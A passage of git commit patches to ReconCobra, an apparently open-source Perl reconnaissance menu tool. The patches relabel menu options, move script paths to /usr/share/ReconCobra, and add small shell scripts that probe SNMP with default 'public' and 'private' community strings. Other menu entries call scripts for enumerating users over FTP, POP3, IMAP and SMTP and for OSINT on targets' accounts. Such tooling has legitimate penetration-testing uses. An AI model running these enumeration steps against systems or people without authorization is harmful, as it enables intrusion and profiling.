cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Link Finder ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); From bcc833ebfa2d37eecff95d150cb20db7ecb9ebae Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:48:22 +0500 Subject: [PATCH 076/272] Update ReconCobra.pl --- ReconCobra.pl | 1 - 1 file changed, 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index b31ca16..206a609 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3109,7 +3109,6 @@ () sub cors() { if (system("./cors.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in cors_results folder\n"; } else { print item(),"Make cors.sh available in same folder\n"; From 2517c1df6b204e5a8f0deaf67147fd913d11b7bd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:57:06 +0500 Subject: [PATCH 077/272] Add files via upload --- endpoint_extraction.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/endpoint_extraction.sh b/endpoint_extraction.sh index 48a3d5e..4ef8bfe 100644 --- a/endpoint_extraction.sh +++ b/endpoint_extraction.sh @@ -2,5 +2,5 @@ mkdir endpoint_extraction_results cd endpoint_extraction_results echo -n "Enter URL to search : " ; read URL -curl 'http://web.archive.org/cdx/search/cdx?url=$URL/*&output=text&fl=original&collapse=urlkey' > $URL.list +curl "http://web.archive.org/cdx/search/cdx?url=$URL/*&output=text&fl=original&collapse=urlkey" > $URL.list cd .. From 853f45e4597587e3a12d963ec0571c57acd22396 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:57:32 +0500 Subject: [PATCH 078/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bdbb496..765b6a3 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ EULA - Runs on Termux # Kali Interface -- Software have 66 Options with full automation and powerful information gathering +- Software have 70 Options with full automation and powerful information gathering
From ff4a86f818ca04e7821356f9287950645e6f879b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 02:05:26 +0500 Subject: [PATCH 079/272] Update ReconCobra.pl --- ReconCobra.pl | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 206a609..63cf3f5 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -613,7 +613,7 @@ sub help { print color('bold cyan')," # \n",line_d(); print color('bold cyan'),"# "; - print item('68'),"Test CORS "; + print item('68'),"Check misconfigured Cross Origin Resource Sharing "; print color('bold red')," => "; print color("bold white"),"reconcobra -ap site.com"; print color('bold cyan')," # \n",line_d(); @@ -743,9 +743,9 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Link Finder ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); From 8b7ec42e7246e273627fd30ff73538b0b308960f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 02:07:32 +0500 Subject: [PATCH 080/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 765b6a3..a8e8ef0 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ EULA
- +
# Kali Installation From 538c9859a7b750155378b018814f2cd536b673a6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 02:08:33 +0500 Subject: [PATCH 081/272] Update README.md --- README.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/README.md b/README.md index a8e8ef0..67e8a94 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ EULA
- +
# In-Action @@ -37,10 +37,6 @@ EULA -
- -
- # Kali Installation - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra From c92ec646c37074c4b2526ef0b258dc8ede269cd2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 18:11:14 +0500 Subject: [PATCH 082/272] Update ReconCobra.pl --- ReconCobra.pl | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 63cf3f5..7f77215 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1084,9 +1084,9 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($eufs=); + #chomp($eufs=); print "\n"; - #Extractusersfromsmtp(); + Extractusersfromsmtp(); enter(); }if($number eq '39'){ banner(); @@ -1099,10 +1099,10 @@ sub menu { enter(); }if($number eq '40'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($efpifs=); + #chomp($efpifs=); print "\n"; Extractfullpossibleinformationfromsnmp(); enter(); @@ -2245,11 +2245,11 @@ sub Extractusersfrompop3 { # 37 Extract Users via IMAP # #--------------------------------------------------------------# sub Extractusersfromimap { - if (system("./pop3.sh") == 0) { + if (system("./imap.sh") == 0) { print item(), "success!\n"; } else { - print "\n",item(),"Make pop3.sh in same folder\n"; + print "\n",item(),"Make imap.sh in same folder\n"; print "\n",item(),"Command failed\n"; } } @@ -2259,11 +2259,12 @@ sub Extractusersfromimap { # 38 Extract Users via SMTP # #--------------------------------------------------------------# sub Extractusersfromsmtp { - if (system("./pop3.sh") == 0) { + if (system("./smtp.sh") == 0) { print item(), "success!\n"; } else { - print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + print "\n",item(),"Make smtp.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } From 0efd590df08c49817b8cca3424269e9f020e5d31 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 18:20:13 +0500 Subject: [PATCH 083/272] Update ReconCobra.pl --- ReconCobra.pl | 41 ++++++++++++++++++++++++++++++++++++++--- 1 file changed, 38 insertions(+), 3 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 7f77215..1784d65 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -2301,15 +2301,50 @@ sub Extractusersfromform { #40 Extract Full Possible Information via SNMP # #--------------------------------------------------------------# sub Extractfullpossibleinformationfromsnmp { - if (system("./snmp.sh") == 0) { + print "\n", item(),"1 - Use SNMP version 1 using public string"; + print "\n", item(),"2 - Use SNMP version 1 using private string"; + print "\n", item(),"3 - Use SNMP version 2 using public string"; + print "\n", item(),"4 - Use SNMP version 2 using private string"; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("./snmp1.sh") == 0) { print item(), "success!\n"; } else { - print "[~] Make snmp.sh available in same folder\n[~] Command failed\n"; + print "\n", item(),"Make snmp1.sh available in same folder"; + print "\n", item(),"Command failed"; } + } + if ($enter =~2) { + if (system("./snmp2.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp2.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~3) { + if (system("./snmp3.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp3.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } + if ($enter =~4) { + if (system("./snmp4.sh") == 0) { + print item(), "success!\n"; + } + else { + print "\n", item(),"Make snmp4.sh available in same folder"; + print "\n", item(),"Command failed"; + } + } } - #--------------------------------------------------------------# #41 Extract Possible Information from Certificates # #--------------------------------------------------------------# From 699bc5e7dab4641797a40ac7ab481f52f5a5fa01 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 18:20:47 +0500 Subject: [PATCH 084/272] Add files via upload --- snmp1.sh | 4 ++++ snmp2.sh | 4 ++++ snmp3.sh | 4 ++++ snmp4.sh | 4 ++++ 4 files changed, 16 insertions(+) create mode 100644 snmp1.sh create mode 100644 snmp2.sh create mode 100644 snmp3.sh create mode 100644 snmp4.sh diff --git a/snmp1.sh b/snmp1.sh new file mode 100644 index 0000000..9e3c82b --- /dev/null +++ b/snmp1.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo "Enter Target" +read Target +snmp-check $Target -c public \ No newline at end of file diff --git a/snmp2.sh b/snmp2.sh new file mode 100644 index 0000000..111fe90 --- /dev/null +++ b/snmp2.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo "Enter Target" +read Target +snmp-check $Target -c private \ No newline at end of file diff --git a/snmp3.sh b/snmp3.sh new file mode 100644 index 0000000..92bde18 --- /dev/null +++ b/snmp3.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo "Enter Target" +read Target +snmp-check $Target -c public -v2c \ No newline at end of file diff --git a/snmp4.sh b/snmp4.sh new file mode 100644 index 0000000..759ad61 --- /dev/null +++ b/snmp4.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo "Enter Target" +read Target +snmp-check $Target -c private -v2c \ No newline at end of file From 02e6fde194522ebc6188abd1b037c09749766dc2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 18:33:07 +0500 Subject: [PATCH 085/272] Update ReconCobra.pl --- ReconCobra.pl | 120 +++++++++++++++++++++++++------------------------- 1 file changed, 60 insertions(+), 60 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 1784d65..5ae060f 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1884,7 +1884,7 @@ sub Websiterecon { #15 Metadata Crawler # #--------------------------------------------------------------# sub Metadatacrawler { -if (system("./coba.sh") == 0) { +if (system("usr/share/ReconCobra/coba.sh") == 0) { print "Success!\n"; } else { @@ -1896,7 +1896,7 @@ sub Metadatacrawler { #16 Metadata Googler # #--------------------------------------------------------------# sub Metadatagoogler { -if (system("./cobb.sh") == 0) { +if (system("usr/share/ReconCobra/cobb.sh") == 0) { print "Success! \n"; print "Downlaoded meta files are stored in downloaded_meta_files directory \n"; print "Results are stored in metacrawler_results directory \n"; @@ -1916,7 +1916,7 @@ sub Subdomainscanner { print item(),"Enter Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("./ShaheenX.sh") == 0) { + if (system("usr/share/ReconCobra/ShaheenX.sh") == 0) { print item(), "success!\n"; } else { @@ -1924,7 +1924,7 @@ sub Subdomainscanner { } } if ($enter =~2) { - if (system("./sub1.sh") == 0) { + if (system("usr/share/ReconCobra/sub1.sh") == 0) { print item(), "success!\n"; } else { @@ -1938,7 +1938,7 @@ sub Subdomainscanner { #18 Subdomain Takeover Scanner # #--------------------------------------------------------------# sub Subdomaintakeover { -if (system("./takeoverscanner.sh") == 0) { +if (system("usr/share/ReconCobra/takeoverscanner.sh") == 0) { print item(), "success!\n"; } else { @@ -1952,7 +1952,7 @@ sub Subdomaintakeover { #19 Brute Subdomains # #--------------------------------------------------------------# sub Brutedomain { -if (system("./maahro.sh") == 0) { +if (system("usr/share/ReconCobra/maahro.sh") == 0) { print item(), "success!\n"; } else { @@ -1980,7 +1980,7 @@ sub Brutednsdomain { #21 Configuration Errors # #--------------------------------------------------------------# sub Configerrors { -if (system("./browser.sh") == 0) { +if (system("usr/share/ReconCobra/browser.sh") == 0) { print item(), "success!\n"; } else { @@ -1992,7 +1992,7 @@ sub Configerrors { #22 Find ASN # #--------------------------------------------------------------# sub Findasn { -if (system("./findasn.sh") == 0) { +if (system("usr/share/ReconCobra/findasn.sh") == 0) { print "success, file written input.txt!\n"; } else { @@ -2004,7 +2004,7 @@ sub Findasn { #23 Find Netblocks # #--------------------------------------------------------------# sub Findnetblock { -if (system("./netblock.sh") == 0) { +if (system("usr/share/ReconCobra/netblock.sh") == 0) { print item(), "success!\n"; } else { @@ -2018,7 +2018,7 @@ sub Findnetblock { #24 Capture Screenshots # #--------------------------------------------------------------# sub Capturescreenshots { -if (system("./screenshot.sh") == 0) { +if (system("usr/share/ReconCobra/screenshot.sh") == 0) { print item(), "success!\n"; } else { @@ -2031,7 +2031,7 @@ sub Capturescreenshots { #25 Find Nearest Servers to Target # #--------------------------------------------------------------# sub nearestvictim { -if (system("./bile.sh") == 0) { +if (system("usr/share/ReconCobra/bile.sh") == 0) { print item(), "success!\n"; } else { @@ -2045,7 +2045,7 @@ sub nearestvictim { #26 Sweep Netblocks and Resolve # #--------------------------------------------------------------# sub Sweepandnetblock() { -if (system("./resolve.sh") == 0) { +if (system("usr/share/ReconCobra/resolve.sh") == 0) { print item(), "success!\n"; } else { @@ -2074,7 +2074,7 @@ sub Panthera { #28 Find Emails and Names # #--------------------------------------------------------------# sub Findemailsandnames { -if (system("./email.sh") == 0) { +if (system("usr/share/ReconCobra/email.sh") == 0) { print item(), "success!\n"; } else { @@ -2088,7 +2088,7 @@ sub Findemailsandnames { #29 Find Contact Information # #--------------------------------------------------------------# sub Findcontactinformation { -if (system("./theharvester.sh") == 0) { +if (system("usr/share/ReconCobra/theharvester.sh") == 0) { print item(), "success!\n"; } else { @@ -2101,7 +2101,7 @@ sub Findcontactinformation { #30 Common Nmap Port Scan # #--------------------------------------------------------------# sub Commonnmapportscan { -if (system("./nmapcommonscan.sh") == 0) { +if (system("usr/share/ReconCobra/nmapcommonscan.sh") == 0) { print item(), "success!\n"; } else { @@ -2116,19 +2116,19 @@ sub Commonnmapportscan { sub Pinghopandinternalnetworks { print "\n",item(),"Peform three types of Firewalk scan"; print "\n",item(),"Results will be saved in Firewalk_results\n"; -if (system("./firewalka.sh") == 0) { +if (system("usr/share/ReconCobra/firewalka.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("./firewalkb.sh") == 0) { +if (system("usr/share/ReconCobra/firewalkb.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("./firewalkc.sh") == 0) { +if (system("usr/share/ReconCobra/firewalkc.sh") == 0) { print item(),"Command failed\n"; } else { @@ -2170,7 +2170,7 @@ sub Findinternalnetworkssandsweep { #33 Decoy Scan & Generate Metasploit Data # #--------------------------------------------------------------# sub Decoayscanandgeneratemetasploitdata { -if (system("./resolve.sh") == 0) { +if (system("usr/share/ReconCobra/resolve.sh") == 0) { print "\n",item(),"success!\n"; } else { @@ -2205,7 +2205,7 @@ sub Findsslbugsandinformation { } print "\n\n\n"; print item(), "Starting SSL protocol check\n\n"; -if (system("./ssl.sh $fsbi") == 0) { +if (system("usr/share/ReconCobra/ssl.sh $fsbi") == 0) { print item(), "success!\n"; } else { @@ -2219,7 +2219,7 @@ sub Findsslbugsandinformation { #35 Extract Users via FTP # #--------------------------------------------------------------# sub Extractusersfromftp { -if (system("./ftp.sh") == 0) { +if (system("usr/share/ReconCobra/ftp.sh") == 0) { print item(), "success!\n"; } else { @@ -2232,7 +2232,7 @@ sub Extractusersfromftp { # 36 Extract Users via POP3 # #--------------------------------------------------------------# sub Extractusersfrompop3 { -if (system("./pop3.sh") == 0) { +if (system("usr/share/ReconCobra/pop3.sh") == 0) { print item(), "success!\n"; } else { @@ -2245,7 +2245,7 @@ sub Extractusersfrompop3 { # 37 Extract Users via IMAP # #--------------------------------------------------------------# sub Extractusersfromimap { - if (system("./imap.sh") == 0) { + if (system("usr/share/ReconCobra/imap.sh") == 0) { print item(), "success!\n"; } else { @@ -2259,7 +2259,7 @@ sub Extractusersfromimap { # 38 Extract Users via SMTP # #--------------------------------------------------------------# sub Extractusersfromsmtp { - if (system("./smtp.sh") == 0) { + if (system("usr/share/ReconCobra/smtp.sh") == 0) { print item(), "success!\n"; } else { @@ -2273,7 +2273,7 @@ sub Extractusersfromsmtp { #39 Extract Users via Form # #--------------------------------------------------------------# sub Extractusersfromform { - if (system("./http-form.sh") == 0) { + if (system("usr/share/ReconCobra/http-form.sh") == 0) { print item(), "success!\n"; } else { @@ -2308,7 +2308,7 @@ sub Extractfullpossibleinformationfromsnmp { print "\n", item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("./snmp1.sh") == 0) { + if (system("usr/share/ReconCobra/snmp1.sh") == 0) { print item(), "success!\n"; } else { @@ -2317,7 +2317,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~2) { - if (system("./snmp2.sh") == 0) { + if (system("usr/share/ReconCobra/snmp2.sh") == 0) { print item(), "success!\n"; } else { @@ -2326,7 +2326,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~3) { - if (system("./snmp3.sh") == 0) { + if (system("usr/share/ReconCobra/snmp3.sh") == 0) { print item(), "success!\n"; } else { @@ -2335,7 +2335,7 @@ sub Extractfullpossibleinformationfromsnmp { } } if ($enter =~4) { - if (system("./snmp4.sh") == 0) { + if (system("usr/share/ReconCobra/snmp4.sh") == 0) { print item(), "success!\n"; } else { @@ -2349,7 +2349,7 @@ sub Extractfullpossibleinformationfromsnmp { #41 Extract Possible Information from Certificates # #--------------------------------------------------------------# sub Extractpossibleinformationfromcertificaties { - if (system("./crtstart.sh ") == 0) { + if (system("usr/share/ReconCobra/crtstart.sh ") == 0) { print item(), "success!\n"; } else { @@ -2362,7 +2362,7 @@ sub Extractpossibleinformationfromcertificaties { #42 Find Victim HTTPS Leaked Data # #--------------------------------------------------------------# sub Findvictimhttpsleakeddata { - if (system("./inteli.sh") == 0) { + if (system("usr/share/ReconCobra/inteli.sh") == 0) { print item(), "success!\n"; } else { @@ -2377,7 +2377,7 @@ sub Findvictimhttpsleakeddata { #43Find Users via sitemap # #--------------------------------------------------------------# sub Findusersfromsitemap { - if (system("./sitemap.sh") == 0) { + if (system("usr/share/ReconCobra/sitemap.sh") == 0) { print item(), "success!\n"; } else { @@ -2391,7 +2391,7 @@ sub Findvictimhttpsleakeddata { #44Find Directories from robots.txt # #--------------------------------------------------------------# sub Finddirectoriesfromrobots { - if (system("./sitemap.sh") == 0) { + if (system("usr/share/ReconCobra/sitemap.sh") == 0) { print item(), "success!\n"; } else { @@ -2432,7 +2432,7 @@ sub Findallaccountsfromuser { #46 Facebook Intelligence Gathering email # #--------------------------------------------------------------# sub Findallaccountsfromemail { - if (system("./sss.sh") == 0) { + if (system("usr/share/ReconCobra/sss.sh") == 0) { print item(), "success!\n"; } else { @@ -2445,7 +2445,7 @@ sub Findallaccountsfromemail { #47 Find all tags by account # #--------------------------------------------------------------# sub Findalltagsfromaccount { - if (system("./fb.sh") == 0) { + if (system("usr/share/ReconCobra/fb.sh") == 0) { print item(), "success!\n"; } else { @@ -2589,7 +2589,7 @@ sub Dnshistory { #49 Passive DNS Search # #--------------------------------------------------------------# sub Passivednssearch { - if (system("./passive.sh") == 0) { + if (system("usr/share/ReconCobra/passive.sh") == 0) { print item(), "success!\n"; } else { @@ -2607,7 +2607,7 @@ sub Usecommoncrawlontarget { print "\n", item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("./common1.sh") == 0) { + if (system("usr/share/ReconCobra/common1.sh") == 0) { print item(), "success!\n"; print item(), "Results are saved in json-results folder\n"; } @@ -2617,7 +2617,7 @@ sub Usecommoncrawlontarget { } } if ($enter =~2) { - if (system("./common2.sh") == 0) { + if (system("usr/share/ReconCobra/common2.sh") == 0) { print item(), "success!\n"; print item(), "Results are saved in json-results folder\n"; } @@ -2636,7 +2636,7 @@ sub hostnametoip { print item(), "Look for required provider with hostnametoip.txt format\n"; print item(), "Loading\n"; sleep(7); - if (system("./hostnametoip.sh") == 0) { + if (system("usr/share/ReconCobra/hostnametoip.sh") == 0) { print item(), "success!\n"; } else { @@ -2749,14 +2749,14 @@ sub Wingensipc { 1E: Browser Service Elections /; - if (system("./smbclient1.sh") == 0) { + if (system("usr/share/ReconCobra/smbclient1.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("./enumdom.sh") == 0) { + if (system("usr/share/ReconCobra/enumdom.sh") == 0) { print item(),"success!\n"; print item(),"Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; } @@ -2771,7 +2771,7 @@ sub Wingensipc { #56 Win - Gather Full Information via Netbios # #--------------------------------------------------------------# sub Wingfivnetbios { - if (system("./smbvul.sh") == 0) { + if (system("usr/share/ReconCobra/smbvul.sh") == 0) { print item(),"success!\n"; } else { @@ -2792,13 +2792,13 @@ sub Wingfivnetbios { #57 Win - Connect to Open Netbios # #--------------------------------------------------------------# sub Winctonetbios { - if (system("./smbclient.sh") == 0) { + if (system("usr/share/ReconCobra/smbclient.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("./smbclient2.sh ") == 0) { + if (system("usr/share/ReconCobra/smbclient2.sh ") == 0) { print item(),"success!\n"; } else { @@ -2954,7 +2954,7 @@ sub convert } print item(),"IP for binary conversion is: "; -system("./ip2bin.sh"); +system("usr/share/ReconCobra/ip2bin.sh"); } @@ -2996,7 +2996,7 @@ sub MDSSE { print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("./mdsse.sh") == 0) { + if (system("usr/share/ReconCobra/mdsse.sh") == 0) { print item(), "success!\n"; } else { @@ -3005,7 +3005,7 @@ sub MDSSE { } } if ($enter =~2) { - if (system("./nmapasnlookup.sh") == 0) { + if (system("usr/share/ReconCobra/nmapasnlookup.sh") == 0) { print item(), "success!\n"; } else { @@ -3028,7 +3028,7 @@ () print item(),"Enter Certificate Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("./crtstart.sh") == 0) { + if (system("usr/share/ReconCobra/crtstart.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3038,7 +3038,7 @@ () } } if ($enter =~2) { - if (system("./googlegct.sh") == 0) { + if (system("usr/share/ReconCobra/googlegct.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3049,7 +3049,7 @@ () } if ($enter =~3) { - if (system("./certspot.sh") == 0) { + if (system("usr/share/ReconCobra/certspot.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3060,7 +3060,7 @@ () } if ($enter =~4) { - if (system("./entrust.sh") == 0) { + if (system("usr/share/ReconCobra/entrust.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3081,7 +3081,7 @@ () print item(),"Enter API Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("./vasl.sh") == 0) { + if (system("usr/share/ReconCobra/vasl.sh") == 0) { print item(),"success!\n"; } else { @@ -3089,7 +3089,7 @@ () } } if ($enter =~2) { - if (system("./censys.sh") == 0) { + if (system("usr/share/ReconCobra/censys.sh") == 0) { print item(),"success!\n"; } else { @@ -3097,7 +3097,7 @@ () } } if ($enter =~3) { - if (system("./virustotal.sh") == 0) { + if (system("usr/share/ReconCobra/virustotal.sh") == 0) { print item(),"success!\n"; } else { @@ -3114,7 +3114,7 @@ () print item(),"Enter desired subnet/ip/net-block or cidr for cname information\n"; print item(),"Loading\n"; sleep(5); - if (system("./cname.sh") == 0) { + if (system("usr/share/ReconCobra/cname.sh") == 0) { print item(),"success!\n"; } else { @@ -3128,7 +3128,7 @@ () #67 Extraction Endpoints # #--------------------------------------------------------------# sub endpoints() { - if (system("./endpoint_extraction.sh") == 0) { + if (system("usr/share/ReconCobra/endpoint_extraction.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in endpoint_extraction_results folder\n"; } @@ -3143,7 +3143,7 @@ () #68 Testing CORS # #--------------------------------------------------------------# sub cors() { - if (system("./cors.sh") == 0) { + if (system("usr/share/ReconCobra/cors.sh") == 0) { print item(),"success!\n"; } else { @@ -3158,7 +3158,7 @@ () #--------------------------------------------------------------# sub wayback() { print item(),"Catuion: Downloading URL may take a while\n"; - if (system("./wayback.sh") == 0) { + if (system("usr/share/ReconCobra/wayback.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in wayback_results folder\n"; } @@ -3178,7 +3178,7 @@ () print item(),"2 - Use LinkFinder: "; chomp($enter=); if ($enter =~1) { - if (system("./linkfinder1.sh") == 0) { + if (system("usr/share/ReconCobra/linkfinder1.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in linkfinder_results folder\n"; } @@ -3188,7 +3188,7 @@ () } } if ($enter =~2) { - if (system("./linkfinder2.sh") == 0) { + if (system("usr/share/ReconCobra/linkfinder2.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in linkfinder_results folder\n"; } From 22645732b8f2c607e2d7ed7fb08971700da03068 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 18:36:14 +0500 Subject: [PATCH 086/272] Update README.md --- README.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 67e8a94..854be6b 100644 --- a/README.md +++ b/README.md @@ -55,8 +55,15 @@ EULA - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux -# Universal Stand-alone -- perl ReconCobra.pl +# NO Stand-alone +- If you still need stand-alone for whatever reason: +- STEP1: First git clone then goto folder +- STEP2: chmod u+x *.sh +- STEP3: installer.sh for Kali +- STEP4: termuxinstaller.sh for Termux +- STEP5: copy all files/folders into /usr/share/ReconCobra +- STEP6: In same folder do use perl now +- STEP7: perl ReconCobra.pl # Mail - mrharoonawan@gmail.com From 647ce20f07a1ae4f18c9e9978fa65bbd94516633 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 21:18:48 +0500 Subject: [PATCH 087/272] Update ReconCobra.pl --- ReconCobra.pl | 120 +++++++++++++++++++++++++------------------------- 1 file changed, 60 insertions(+), 60 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 5ae060f..083550f 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1884,7 +1884,7 @@ sub Websiterecon { #15 Metadata Crawler # #--------------------------------------------------------------# sub Metadatacrawler { -if (system("usr/share/ReconCobra/coba.sh") == 0) { +if (system("/usr/share/ReconCobra/coba.sh") == 0) { print "Success!\n"; } else { @@ -1896,7 +1896,7 @@ sub Metadatacrawler { #16 Metadata Googler # #--------------------------------------------------------------# sub Metadatagoogler { -if (system("usr/share/ReconCobra/cobb.sh") == 0) { +if (system("/usr/share/ReconCobra/cobb.sh") == 0) { print "Success! \n"; print "Downlaoded meta files are stored in downloaded_meta_files directory \n"; print "Results are stored in metacrawler_results directory \n"; @@ -1916,7 +1916,7 @@ sub Subdomainscanner { print item(),"Enter Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/ShaheenX.sh") == 0) { + if (system("/usr/share/ReconCobra/ShaheenX.sh") == 0) { print item(), "success!\n"; } else { @@ -1924,7 +1924,7 @@ sub Subdomainscanner { } } if ($enter =~2) { - if (system("usr/share/ReconCobra/sub1.sh") == 0) { + if (system("/usr/share/ReconCobra/sub1.sh") == 0) { print item(), "success!\n"; } else { @@ -1938,7 +1938,7 @@ sub Subdomainscanner { #18 Subdomain Takeover Scanner # #--------------------------------------------------------------# sub Subdomaintakeover { -if (system("usr/share/ReconCobra/takeoverscanner.sh") == 0) { +if (system("/usr/share/ReconCobra/takeoverscanner.sh") == 0) { print item(), "success!\n"; } else { @@ -1952,7 +1952,7 @@ sub Subdomaintakeover { #19 Brute Subdomains # #--------------------------------------------------------------# sub Brutedomain { -if (system("usr/share/ReconCobra/maahro.sh") == 0) { +if (system("/usr/share/ReconCobra/maahro.sh") == 0) { print item(), "success!\n"; } else { @@ -1980,7 +1980,7 @@ sub Brutednsdomain { #21 Configuration Errors # #--------------------------------------------------------------# sub Configerrors { -if (system("usr/share/ReconCobra/browser.sh") == 0) { +if (system("/usr/share/ReconCobra/browser.sh") == 